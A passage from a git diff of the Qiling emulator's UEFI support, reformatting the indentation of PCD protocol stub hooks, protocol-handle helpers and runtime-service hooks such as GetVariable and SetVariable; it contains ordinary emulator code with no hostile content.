FUNCPTR(UINTN, UINTN) +PCD_PROTOCOL_GET_EX_8 = FUNCPTR(UINT8, PTR(EFI_GUID), UINTN) +PCD_PROTOCOL_GET_EX_16 = FUNCPTR(UINT16, PTR(EFI_GUID), UINTN) +PCD_PROTOCOL_GET_EX_32 = FUNCPTR(UINT32, PTR(EFI_GUID), UINTN) +PCD_PROTOCOL_GET_EX_64 = FUNCPTR(UINT64, PTR(EFI_GUID), UINTN) +PCD_PROTOCOL_GET_EX_POINTER = FUNCPTR(PTR(VOID), PTR(EFI_GUID), UINTN) +PCD_PROTOCOL_GET_EX_BOOLEAN = FUNCPTR(BOOLEAN, PTR(EFI_GUID), UINTN) +PCD_PROTOCOL_GET_EX_SIZE = FUNCPTR(UINTN, PTR(EFI_GUID), UINTN) +PCD_PROTOCOL_SET8 = FUNCPTR(EFI_STATUS, UINTN, UINT8) +PCD_PROTOCOL_SET16 = FUNCPTR(EFI_STATUS, UINTN, UINT16) +PCD_PROTOCOL_SET32 = FUNCPTR(EFI_STATUS, UINTN, UINT32) +PCD_PROTOCOL_SET64 = FUNCPTR(EFI_STATUS, UINTN, UINT64) +PCD_PROTOCOL_SET_POINTER = FUNCPTR(EFI_STATUS, UINTN, PTR(UINTN), PTR(VOID)) +PCD_PROTOCOL_SET_BOOLEAN = FUNCPTR(EFI_STATUS, UINTN, BOOLEAN) +PCD_PROTOCOL_SET_EX_8 = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, UINT8) +PCD_PROTOCOL_SET_EX_16 = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, UINT16) +PCD_PROTOCOL_SET_EX_32 = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, UINT32) +PCD_PROTOCOL_SET_EX_64 = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, UINT64) +PCD_PROTOCOL_SET_EX_POINTER = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, PTR(UINTN), PTR(VOID)) +PCD_PROTOCOL_SET_EX_BOOLEAN = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, BOOLEAN) +PCD_PROTOCOL_CALLBACK_ONSET = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, PCD_PROTOCOL_CALLBACK) PCD_PROTOCOL_CANCEL_CALLBACK= FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, PCD_PROTOCOL_CALLBACK) -PCD_PROTOCOL_GET_NEXT_TOKEN = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(UINTN)) +PCD_PROTOCOL_GET_NEXT_TOKEN = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), PTR(UINTN)) PCD_PROTOCOL_GET_NEXT_TOKENSPACE = FUNCPTR(EFI_STATUS, PTR(PTR(EFI_GUID))) class PCD_PROTOCOL(STRUCT): - _fields_ = [ - ('SetSku', PCD_PROTOCOL_SET_SKU), - ('Get8', PCD_PROTOCOL_GET8), - ('Get16', PCD_PROTOCOL_GET16), - ('Get32', PCD_PROTOCOL_GET32), - ('Get64', PCD_PROTOCOL_GET64), - ('GetPtr', PCD_PROTOCOL_GET_POINTER), - ('GetBool', PCD_PROTOCOL_GET_BOOLEAN), - ('GetSize', PCD_PROTOCOL_GET_SIZE), - ('Get8Ex', PCD_PROTOCOL_GET_EX_8), - ('Get16Ex', PCD_PROTOCOL_GET_EX_16), - ('Get32Ex', PCD_PROTOCOL_GET_EX_32), - ('Get64Ex', PCD_PROTOCOL_GET_EX_64), - ('GetPtrEx', PCD_PROTOCOL_GET_EX_POINTER), - ('GetBoolEx', PCD_PROTOCOL_GET_EX_BOOLEAN), - ('GetSizeEx', PCD_PROTOCOL_GET_EX_SIZE), - ('Set8', PCD_PROTOCOL_SET8), - ('Set16', PCD_PROTOCOL_SET16), - ('Set32', PCD_PROTOCOL_SET32), - ('Set64', PCD_PROTOCOL_SET64), - ('SetPtr', PCD_PROTOCOL_SET_POINTER), - ('SetBool', PCD_PROTOCOL_SET_BOOLEAN), - ('Set8Ex', PCD_PROTOCOL_SET_EX_8), - ('Set16Ex', PCD_PROTOCOL_SET_EX_16), - ('Set32Ex', PCD_PROTOCOL_SET_EX_32), - ('Set64Ex', PCD_PROTOCOL_SET_EX_64), - ('SetPtrEx', PCD_PROTOCOL_SET_EX_POINTER), - ('SetBoolEx', PCD_PROTOCOL_SET_EX_BOOLEAN), - ('CallbackOnSet', PCD_PROTOCOL_CALLBACK_ONSET), - ('CancelCallback', PCD_PROTOCOL_CANCEL_CALLBACK), - ('GetNextToken', PCD_PROTOCOL_GET_NEXT_TOKEN), - ('GetNextTokenSpace', PCD_PROTOCOL_GET_NEXT_TOKENSPACE) - ] + _fields_ = [ + ('SetSku', PCD_PROTOCOL_SET_SKU), + ('Get8', PCD_PROTOCOL_GET8), + ('Get16', PCD_PROTOCOL_GET16), + ('Get32', PCD_PROTOCOL_GET32), + ('Get64', PCD_PROTOCOL_GET64), + ('GetPtr', PCD_PROTOCOL_GET_POINTER), + ('GetBool', PCD_PROTOCOL_GET_BOOLEAN), + ('GetSize', PCD_PROTOCOL_GET_SIZE), + ('Get8Ex', PCD_PROTOCOL_GET_EX_8), + ('Get16Ex', PCD_PROTOCOL_GET_EX_16), + ('Get32Ex', PCD_PROTOCOL_GET_EX_32), + ('Get64Ex', PCD_PROTOCOL_GET_EX_64), + ('GetPtrEx', PCD_PROTOCOL_GET_EX_POINTER), + ('GetBoolEx', PCD_PROTOCOL_GET_EX_BOOLEAN), + ('GetSizeEx', PCD_PROTOCOL_GET_EX_SIZE), + ('Set8', PCD_PROTOCOL_SET8), + ('Set16', PCD_PROTOCOL_SET16), + ('Set32', PCD_PROTOCOL_SET32), + ('Set64', PCD_PROTOCOL_SET64), + ('SetPtr', PCD_PROTOCOL_SET_POINTER), + ('SetBool', PCD_PROTOCOL_SET_BOOLEAN), + ('Set8Ex', PCD_PROTOCOL_SET_EX_8), + ('Set16Ex', PCD_PROTOCOL_SET_EX_16), + ('Set32Ex', PCD_PROTOCOL_SET_EX_32), + ('Set64Ex', PCD_PROTOCOL_SET_EX_64), + ('SetPtrEx', PCD_PROTOCOL_SET_EX_POINTER), + ('SetBoolEx', PCD_PROTOCOL_SET_EX_BOOLEAN), + ('CallbackOnSet', PCD_PROTOCOL_CALLBACK_ONSET), + ('CancelCallback', PCD_PROTOCOL_CANCEL_CALLBACK), + ('GetNextToken', PCD_PROTOCOL_GET_NEXT_TOKEN), + ('GetNextTokenSpace', PCD_PROTOCOL_GET_NEXT_TOKENSPACE) + ] @dxeapi(params = { - "SkuId" : UINT + "SkuId" : UINT }) def hook_SetSku(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT + "TokenNumber" : UINT }) def hook_Get8(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT + "TokenNumber" : UINT }) def hook_Get16(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT + "TokenNumber" : UINT }) def hook_Get32(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT + "TokenNumber" : UINT }) def hook_Get64(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT + "TokenNumber" : UINT }) def hook_GetPtr(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT + "TokenNumber" : UINT }) def hook_GetBool(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT + "TokenNumber" : UINT }) def hook_GetSize(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT + "Guid" : GUID, + "TokenNumber" : UINT }) def hook_Get8Ex(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT + "Guid" : GUID, + "TokenNumber" : UINT }) def hook_Get16Ex(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT + "Guid" : GUID, + "TokenNumber" : UINT }) def hook_Get32Ex(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT + "Guid" : GUID, + "TokenNumber" : UINT }) def hook_Get64Ex(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT + "Guid" : GUID, + "TokenNumber" : UINT }) def hook_GetPtrEx(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT + "Guid" : GUID, + "TokenNumber" : UINT }) def hook_GetBoolEx(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT + "Guid" : GUID, + "TokenNumber" : UINT }) def hook_GetSizeEx(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT, - "Value" : INT + "TokenNumber" : UINT, + "Value" : INT }) def hook_Set8(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT, - "Value" : INT + "TokenNumber" : UINT, + "Value" : INT }) def hook_Set16(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT, - "Value" : INT + "TokenNumber" : UINT, + "Value" : INT }) def hook_Set32(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT, - "Value" : INT + "TokenNumber" : UINT, + "Value" : INT }) def hook_Set64(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT, - "SizeOfValue" : POINTER, - "Buffer" : POINTER + "TokenNumber" : UINT, + "SizeOfValue" : POINTER, + "Buffer" : POINTER }) def hook_SetPtr(ql, address, params): - pass + pass @dxeapi(params = { - "TokenNumber" : UINT, - "Value" : INT + "TokenNumber" : UINT, + "Value" : INT }) def hook_SetBool(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT, - "Value" : INT + "Guid" : GUID, + "TokenNumber" : UINT, + "Value" : INT }) def hook_Set8Ex(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT, - "Value" : INT + "Guid" : GUID, + "TokenNumber" : UINT, + "Value" : INT }) def hook_Set16Ex(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT, - "Value" : INT + "Guid" : GUID, + "TokenNumber" : UINT, + "Value" : INT }) def hook_Set32Ex(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT, - "Value" : INT + "Guid" : GUID, + "TokenNumber" : UINT, + "Value" : INT }) def hook_Set64Ex(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT, - "SizeOfValue" : POINTER, - "Buffer" : POINTER + "Guid" : GUID, + "TokenNumber" : UINT, + "SizeOfValue" : POINTER, + "Buffer" : POINTER }) def hook_SetPtrEx(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT, - "Value" : INT + "Guid" : GUID, + "TokenNumber" : UINT, + "Value" : INT }) def hook_SetBoolEx(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT, - "CallBackFunction" : POINTER + "Guid" : GUID, + "TokenNumber" : UINT, + "CallBackFunction" : POINTER }) def hook_CallbackOnSet(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : UINT, - "CallBackFunction" : POINTER + "Guid" : GUID, + "TokenNumber" : UINT, + "CallBackFunction" : POINTER }) def hook_CancelCallback(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : GUID, - "TokenNumber" : POINTER + "Guid" : GUID, + "TokenNumber" : POINTER }) def hook_GetNextToken(ql, address, params): - pass + pass @dxeapi(params = { - "Guid" : POINTER + "Guid" : POINTER }) def hook_GetNextTokenSpace(ql, address, params): - pass + pass descriptor = { - "guid" : "11b34006-d85b-4d0a-a290-d5a571310ef7", - "struct" : PCD_PROTOCOL, - "fields" : ( - ('SetSku', hook_SetSku), - ('Get8', hook_Get8), - ('Get16', hook_Get16), - ('Get32', hook_Get32), - ('Get64', hook_Get64), - ('GetPtr', hook_GetPtr), - ('GetBool', hook_GetBool), - ('GetSize', hook_GetSize), - ('Get8Ex', hook_Get8Ex), - ('Get16Ex', hook_Get16Ex), - ('Get32Ex', hook_Get32Ex), - ('Get64Ex', hook_Get64Ex), - ('GetPtrEx', hook_GetPtrEx), - ('GetBoolEx', hook_GetBoolEx), - ('GetSizeEx', hook_GetSizeEx), - ('Set8', hook_Set8), - ('Set16', hook_Set16), - ('Set32', hook_Set32), - ('Set64', hook_Set64), - ('SetPtr', hook_SetPtr), - ('SetBool', hook_SetBool), - ('Set8Ex', hook_Set8Ex), - ('Set16Ex', hook_Set16Ex), - ('Set32Ex', hook_Set32Ex), - ('Set64Ex', hook_Set64Ex), - ('SetPtrEx', hook_SetPtrEx), - ('SetBoolEx', hook_SetBoolEx), - ('CallbackOnSet', hook_CallbackOnSet), - ('CancelCallback', hook_CancelCallback), - ('GetNextToken', hook_GetNextToken), - ('GetNextTokenSpace', hook_GetNextTokenSpace) - ) + "guid" : "11b34006-d85b-4d0a-a290-d5a571310ef7", + "struct" : PCD_PROTOCOL, + "fields" : ( + ('SetSku', hook_SetSku), + ('Get8', hook_Get8), + ('Get16', hook_Get16), + ('Get32', hook_Get32), + ('Get64', hook_Get64), + ('GetPtr', hook_GetPtr), + ('GetBool', hook_GetBool), + ('GetSize', hook_GetSize), + ('Get8Ex', hook_Get8Ex), + ('Get16Ex', hook_Get16Ex), + ('Get32Ex', hook_Get32Ex), + ('Get64Ex', hook_Get64Ex), + ('GetPtrEx', hook_GetPtrEx), + ('GetBoolEx', hook_GetBoolEx), + ('GetSizeEx', hook_GetSizeEx), + ('Set8', hook_Set8), + ('Set16', hook_Set16), + ('Set32', hook_Set32), + ('Set64', hook_Set64), + ('SetPtr', hook_SetPtr), + ('SetBool', hook_SetBool), + ('Set8Ex', hook_Set8Ex), + ('Set16Ex', hook_Set16Ex), + ('Set32Ex', hook_Set32Ex), + ('Set64Ex', hook_Set64Ex), + ('SetPtrEx', hook_SetPtrEx), + ('SetBoolEx', hook_SetBoolEx), + ('CallbackOnSet', hook_CallbackOnSet), + ('CancelCallback', hook_CancelCallback), + ('GetNextToken', hook_GetNextToken), + ('GetNextTokenSpace', hook_GetNextTokenSpace) + ) } diff --git a/qiling/os/uefi/protocols/common.py b/qiling/os/uefi/protocols/common.py index a729f5f4c..60cb013dd 100644 --- a/qiling/os/uefi/protocols/common.py +++ b/qiling/os/uefi/protocols/common.py @@ -8,127 +8,127 @@ from qiling.os.uefi.UefiSpec import EFI_LOCATE_SEARCH_TYPE def LocateHandles(context, params): - SearchType = params["SearchType"] - Protocol = params["Protocol"] + SearchType = params["SearchType"] + Protocol = params["Protocol"] - # get all handles - if SearchType == EFI_LOCATE_SEARCH_TYPE.AllHandles: - handles = context.protocols.keys() + # get all handles + if SearchType == EFI_LOCATE_SEARCH_TYPE.AllHandles: + handles = context.protocols.keys() - # get all handles that support the specified protocol - elif SearchType == EFI_LOCATE_SEARCH_TYPE.ByProtocol: - handles = [handle for handle, guid_dic in context.protocols.items() if Protocol in guid_dic] + # get all handles that support the specified protocol + elif SearchType == EFI_LOCATE_SEARCH_TYPE.ByProtocol: + handles = [handle for handle, guid_dic in context.protocols.items() if Protocol in guid_dic] - else: - handles = [] + else: + handles = [] - return len(handles) * context.ql.arch.pointersize, handles + return len(handles) * context.ql.arch.pointersize, handles def InstallProtocolInterface(context, params): - handle = read_int64(context.ql, params["Handle"]) + handle = read_int64(context.ql, params["Handle"]) - if handle == 0: - handle = context.heap.alloc(1) + if handle == 0: + handle = context.heap.alloc(1) - dic = context.protocols.get(handle, {}) + dic = context.protocols.get(handle, {}) - dic[params["Protocol"]] = params["Interface"] - context.protocols[handle] = dic + dic[params["Protocol"]] = params["Interface"] + context.protocols[handle] = dic - write_int64(context.ql, params["Handle"], handle) - context.notify_protocol(params['Handle'], params['Protocol'], params['Interface'], True) + write_int64(context.ql, params["Handle"], handle) + context.notify_protocol(params['Handle'], params['Protocol'], params['Interface'], True) - return EFI_SUCCESS + return EFI_SUCCESS def ReinstallProtocolInterface(context, params): - handle = params["Handle"] + handle = params["Handle"] - if handle not in context.protocols: - return EFI_NOT_FOUND + if handle not in context.protocols: + return EFI_NOT_FOUND - dic = context.protocols[handle] - protocol = params["Protocol"] + dic = context.protocols[handle] + protocol = params["Protocol"] - if protocol not in dic: - return EFI_NOT_FOUND + if protocol not in dic: + return EFI_NOT_FOUND - dic[protocol] = params["NewInterface"] + dic[protocol] = params["NewInterface"] - return EFI_SUCCESS + return EFI_SUCCESS def UninstallProtocolInterface(context, params): - handle = params["Handle"] + handle = params["Handle"] - if handle not in context.protocols: - return EFI_NOT_FOUND + if handle not in context.protocols: + return EFI_NOT_FOUND - dic = context.protocols[handle] - protocol = params["Protocol"] + dic = context.protocols[handle] + protocol = params["Protocol"] - if protocol not in dic: - return EFI_NOT_FOUND + if protocol not in dic: + return EFI_NOT_FOUND - del dic[protocol] + del dic[protocol] - return EFI_SUCCESS + return EFI_SUCCESS def HandleProtocol(context, params): - handle = params["Handle"] - protocol = params["Protocol"] - interface = params['Interface'] + handle = params["Handle"] + protocol = params["Protocol"] + interface = params['Interface'] - if handle in context.protocols: - supported = context.protocols[handle] + if handle in context.protocols: + supported = context.protocols[handle] - if protocol in supported: - write_int64(context.ql, interface, supported[protocol]) + if protocol in supported: + write_int64(context.ql, interface, supported[protocol]) - return EFI_SUCCESS + return EFI_SUCCESS - return EFI_UNSUPPORTED + return EFI_UNSUPPORTED def LocateHandle(context, params): - buffer_size, handles = LocateHandles(context, params) + buffer_size, handles = LocateHandles(context, params) - if len(handles) == 0: - return EFI_NOT_FOUND + if len(handles) == 0: + return EFI_NOT_FOUND - ret = EFI_BUFFER_TOO_SMALL + ret = EFI_BUFFER_TOO_SMALL - if read_int64(context.ql, params["BufferSize"]) >= buffer_size: - ptr = params["Buffer"] + if read_int64(context.ql, params["BufferSize"]) >= buffer_size: + ptr = params["Buffer"] - for handle in handles: - write_int64(context.ql, ptr, handle) - ptr += context.ql.arch.pointersize + for handle in handles: + write_int64(context.ql, ptr, handle) + ptr += context.ql.arch.pointersize - ret = EFI_SUCCESS + ret = EFI_SUCCESS - write_int64(context.ql, params["BufferSize"], buffer_size) + write_int64(context.ql, params["BufferSize"], buffer_size) - return ret + return ret def LocateProtocol(context, params): - protocol = params['Protocol'] + protocol = params['Protocol'] - for handle, guid_dic in context.protocols.items(): - if "Handle" in params and params["Handle"] != handle: - continue + for handle, guid_dic in context.protocols.items(): + if "Handle" in params and params["Handle"] != handle: + continue - if protocol in guid_dic: - # write protocol address to out variable Interface - write_int64(context.ql, params['Interface'], guid_dic[protocol]) - return EFI_SUCCESS + if protocol in guid_dic: + # write protocol address to out variable Interface + write_int64(context.ql, params['Interface'], guid_dic[protocol]) + return EFI_SUCCESS - return EFI_NOT_FOUND + return EFI_NOT_FOUND def InstallConfigurationTable(context, params): - guid = params["Guid"] - table = params["Table"] + guid = params["Guid"] + table = params["Table"] - if not guid: - return EFI_INVALID_PARAMETER + if not guid: + return EFI_INVALID_PARAMETER - context.conftable.install(guid, table) + context.conftable.install(guid, table) - return EFI_SUCCESS + return EFI_SUCCESS diff --git a/qiling/os/uefi/rt.py b/qiling/os/uefi/rt.py index 1e108ebe4..67d95f5d0 100644 --- a/qiling/os/uefi/rt.py +++ b/qiling/os/uefi/rt.py @@ -15,226 +15,226 @@ from .UefiSpec import * @dxeapi(params={ - "Time" : POINTER, # OUT PTR(EFI_TIME) - "Capabilities" : POINTER # OUT PTR(EFI_TIME_CAPABILITIES) + "Time" : POINTER, # OUT PTR(EFI_TIME) + "Capabilities" : POINTER # OUT PTR(EFI_TIME_CAPABILITIES) }) def hook_GetTime(ql: Qiling, address: int, params): - Time = params['Time'] + Time = params['Time'] - if not Time: - return EFI_INVALID_PARAMETER + if not Time: + return EFI_INVALID_PARAMETER - localtime = time.localtime() + localtime = time.localtime() - efitime = EFI_TIME() - efitime.Year = localtime.tm_year - efitime.Month = localtime.tm_mon - efitime.Day = localtime.tm_mday - efitime.Hour = localtime.tm_hour - efitime.Minute = localtime.tm_min - efitime.Second = localtime.tm_sec - efitime.Nanosecond = 0 + efitime = EFI_TIME() + efitime.Year = localtime.tm_year + efitime.Month = localtime.tm_mon + efitime.Day = localtime.tm_mday + efitime.Hour = localtime.tm_hour + efitime.Minute = localtime.tm_min + efitime.Second = localtime.tm_sec + efitime.Nanosecond = 0 - # tz and dst settings are stored in the "RtcTimeSettings" nvram variable. - # we just use the default settings instead - efitime.TimeZone = EFI_UNSPECIFIED_TIMEZONE - efitime.Daylight = 0 + # tz and dst settings are stored in the "RtcTimeSettings" nvram variable. + # we just use the default settings instead + efitime.TimeZone = EFI_UNSPECIFIED_TIMEZONE + efitime.Daylight = 0 - efitime.saveTo(ql, Time) + efitime.saveTo(ql, Time) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "Time": POINTER # IN PTR(EFI_TIME) + "Time": POINTER # IN PTR(EFI_TIME) }) def hook_SetTime(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "Enabled" : POINTER, # OUT PTR(BOOLEAN) - "Pending" : POINTER, # OUT PTR(BOOLEAN) - "Time" : POINTER # OUT PTR(EFI_TIME) + "Enabled" : POINTER, # OUT PTR(BOOLEAN) + "Pending" : POINTER, # OUT PTR(BOOLEAN) + "Time" : POINTER # OUT PTR(EFI_TIME) }) def hook_GetWakeupTime(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "Enable": BOOL, # BOOLEAN - "Time" : POINTER # PTR(EFI_TIME) + "Enable": BOOL, # BOOLEAN + "Time" : POINTER # PTR(EFI_TIME) }) def hook_SetWakeupTime(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "MemoryMapSize" : UINT, # UINTN - "DescriptorSize" : UINT, # UINTN - "DescriptorVersion" : UINT, # UINT32 - "VirtualMap" : POINTER # PTR(EFI_MEMORY_DESCRIPTOR) + "MemoryMapSize" : UINT, # UINTN + "DescriptorSize" : UINT, # UINTN + "DescriptorVersion" : UINT, # UINT32 + "VirtualMap" : POINTER # PTR(EFI_MEMORY_DESCRIPTOR) }) def hook_SetVirtualAddressMap(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "DebugDisposition" : UINT, # UINTN - "Address" : POINTER # OUT PTR(PTR(VOID)) + "DebugDisposition" : UINT, # UINTN + "Address" : POINTER # OUT PTR(PTR(VOID)) }) def hook_ConvertPointer(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "VariableName" : WSTRING, # PTR(CHAR16) - "VendorGuid" : GUID, # PTR(EFI_GUID) - "Attributes" : POINTER, # OUT PTR(UINT32) - "DataSize" : POINTER, # IN OUT PTR(UINTN) - "Data" : POINTER # OUT PTR(VOID) + "VariableName" : WSTRING, # PTR(CHAR16) + "VendorGuid" : GUID, # PTR(EFI_GUID) + "Attributes" : POINTER, # OUT PTR(UINT32) + "DataSize" : POINTER, # IN OUT PTR(UINTN) + "Data" : POINTER # OUT PTR(VOID) }) def hook_GetVariable(ql: Qiling, address: int, params): - name = params['VariableName'] + name = params['VariableName'] - if name in ql.env: - var = ql.env[name] - read_len = read_int64(ql, params['DataSize']) + if name in ql.env: + var = ql.env[name] + read_len = read_int64(ql, params['DataSize']) - if params['Attributes'] != 0: - write_int64(ql, params['Attributes'], 0) + if params['Attributes'] != 0: + write_int64(ql, params['Attributes'], 0) - write_int64(ql, params['DataSize'], len(var)) + write_int64(ql, params['DataSize'], len(var)) - if read_len < len(var): - return EFI_BUFFER_TOO_SMALL + if read_len < len(var): + return EFI_BUFFER_TOO_SMALL - if params['Data'] != 0: - ql.mem.write(params['Data'], var) + if params['Data'] != 0: + ql.mem.write(params['Data'], var) - return EFI_SUCCESS + return EFI_SUCCESS - ql.log.warning(f'variable with name {name} not found') + ql.log.warning(f'variable with name {name} not found') - return EFI_NOT_FOUND + return EFI_NOT_FOUND @dxeapi(params={ - "VariableNameSize" : POINTER, # IN OUT PTR(UINTN) - "VariableName" : POINTER, # IN OUT PTR(CHAR16) - "VendorGuid" : GUID # IN OUT PTR(EFI_GUID) + "VariableNameSize" : POINTER, # IN OUT PTR(UINTN) + "VariableName" : POINTER, # IN OUT PTR(CHAR16) + "VendorGuid" : GUID # IN OUT PTR(EFI_GUID) }) def hook_GetNextVariableName(ql: Qiling, address: int, params): - var_name_size = params["VariableNameSize"] - var_name = params["VariableName"] + var_name_size = params["VariableNameSize"] + var_name = params["VariableName"] - if (var_name_size == 0) or (var_name == 0): - return EFI_INVALID_PARAMETER + if (var_name_size == 0) or (var_name == 0): + return EFI_INVALID_PARAMETER - name_size = read_int64(ql, var_name_size) - last_name = ql.os.utils.read_wstring(var_name) + name_size = read_int64(ql, var_name_size) + last_name = ql.os.utils.read_wstring(var_name) - vars = ql.env['Names'] # This is a list of variable names in correct order. + vars = ql.env['Names'] # This is a list of variable names in correct order. - if last_name not in vars: - return EFI_NOT_FOUND + if last_name not in vars: + return EFI_NOT_FOUND - idx = vars.index(last_name) + idx = vars.index(last_name) - # make sure it is not the last one (i.e. we have a next one to pull) - if idx == len(vars) - 1: - return EFI_NOT_FOUND + # make sure it is not the last one (i.e. we have a next one to pull) + if idx == len(vars) - 1: + return EFI_NOT_FOUND - # get next var name, and add null terminator - new_name = vars[idx + 1] + '\x00' + # get next var name, and add null terminator + new_name = vars[idx + 1] + '\x00' - # turn it into a wide string - new_name = ''.join(f'{c}\x00' for c in new_name) + # turn it into a wide string + new_name = ''.join(f'{c}\x00' for c in new_name) - if len(new_name) > name_size: - write_int64(ql, var_name_size, len(new_name)) - return EFI_BUFFER_TOO_SMALL + if len(new_name) > name_size: + write_int64(ql, var_name_size, len(new_name)) + return EFI_BUFFER_TOO_SMALL - ql.mem.write(var_name, new_name.encode('ascii')) + ql.mem.write(var_name, new_name.encode('ascii')) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "VariableName" : WSTRING, # PTR(CHAR16) - "VendorGuid" : GUID, # PTR(EFI_GUID) - "Attributes" : UINT, # UINT32 - "DataSize" : UINT, # UINTN - "Data" : POINTER # PTR(VOID) + "VariableName" : WSTRING, # PTR(CHAR16) + "VendorGuid" : GUID, # PTR(EFI_GUID) + "Attributes" : UINT, # UINT32 + "DataSize" : UINT, # UINTN + "Data" : POINTER # PTR(VOID) }) def hook_SetVariable(ql: Qiling, address: int, params): - ql.env[params['VariableName']] = bytes(ql.mem.read(params['Data'], params['DataSize'])) - return EFI_SUCCESS + ql.env[params['VariableName']] = bytes(ql.mem.read(params['Data'], params['DataSize'])) + return EFI_SUCCESS @dxeapi(params={ - "HighCount": POINTER # OUT PTR(UINT32) + "HighCount": POINTER # OUT PTR(UINT32) }) def hook_GetNextHighMonotonicCount(ql: Qiling, address: int, params): - ql.os.monotonic_count += 0x0000000100000000 - hmc = ql.os.monotonic_count - hmc = (hmc >> 32) & 0xffffffff - write_int32(ql, params["HighCount"], hmc) - return EFI_SUCCESS + ql.os.monotonic_count += 0x0000000100000000 + hmc = ql.os.monotonic_count + hmc = (hmc >> 32) & 0xffffffff + write_int32(ql, params["HighCount"], hmc) + return EFI_SUCCESS @dxeapi(params={ - "ResetType" : INT, # EFI_RESET_TYPE - "ResetStatus" : INT, # EFI_STATUS - "DataSize" : UINT, # UINTN - "ResetData" : POINTER # PTR(VOID) + "ResetType" : INT, # EFI_RESET_TYPE + "ResetStatus" : INT, # EFI_STATUS + "DataSize" : UINT, # UINTN + "ResetData" : POINTER # PTR(VOID) }) def hook_ResetSystem(ql: Qiling, address: int, params): - ql.emu_stop() + ql.emu_stop() - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "CapsuleHeaderArray": POINTER, # PTR(PTR(EFI_CAPSULE_HEADER)) - "CapsuleCount" : UINT, # UINTN - "ScatterGatherList" : ULONGLONG # EFI_PHYSICAL_ADDRESS + "CapsuleHeaderArray": POINTER, # PTR(PTR(EFI_CAPSULE_HEADER)) + "CapsuleCount" : UINT, # UINTN + "ScatterGatherList" : ULONGLONG # EFI_PHYSICAL_ADDRESS }) def hook_UpdateCapsule(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "CapsuleHeaderArray": POINTER, # PTR(PTR(EFI_CAPSULE_HEADER)) - "CapsuleCount" : UINT, # UINTN - "MaximumCapsuleSize": POINTER, # OUT PTR(UINT64) - "ResetType" : POINTER # OUT PTR(EFI_RESET_TYPE) + "CapsuleHeaderArray": POINTER, # PTR(PTR(EFI_CAPSULE_HEADER)) + "CapsuleCount" : UINT, # UINTN + "MaximumCapsuleSize": POINTER, # OUT PTR(UINT64) + "ResetType" : POINTER # OUT PTR(EFI_RESET_TYPE) }) def hook_QueryCapsuleCapabilities(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params={ - "Attributes" : UINT, # UINT32 - "MaximumVariableStorageSize" : POINTER, # OUT PTR(UINT64) - "RemainingVariableStorageSize" : POINTER, # OUT PTR(UINT64) - "MaximumVariableSize" : POINTER # OUT PTR(UINT64) + "Attributes" : UINT, # UINT32 + "MaximumVariableStorageSize" : POINTER, # OUT PTR(UINT64) + "RemainingVariableStorageSize" : POINTER, # OUT PTR(UINT64) + "MaximumVariableSize" : POINTER # OUT PTR(UINT64) }) def hook_QueryVariableInfo(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS def initialize(ql: Qiling, gRT: int): - descriptor = { 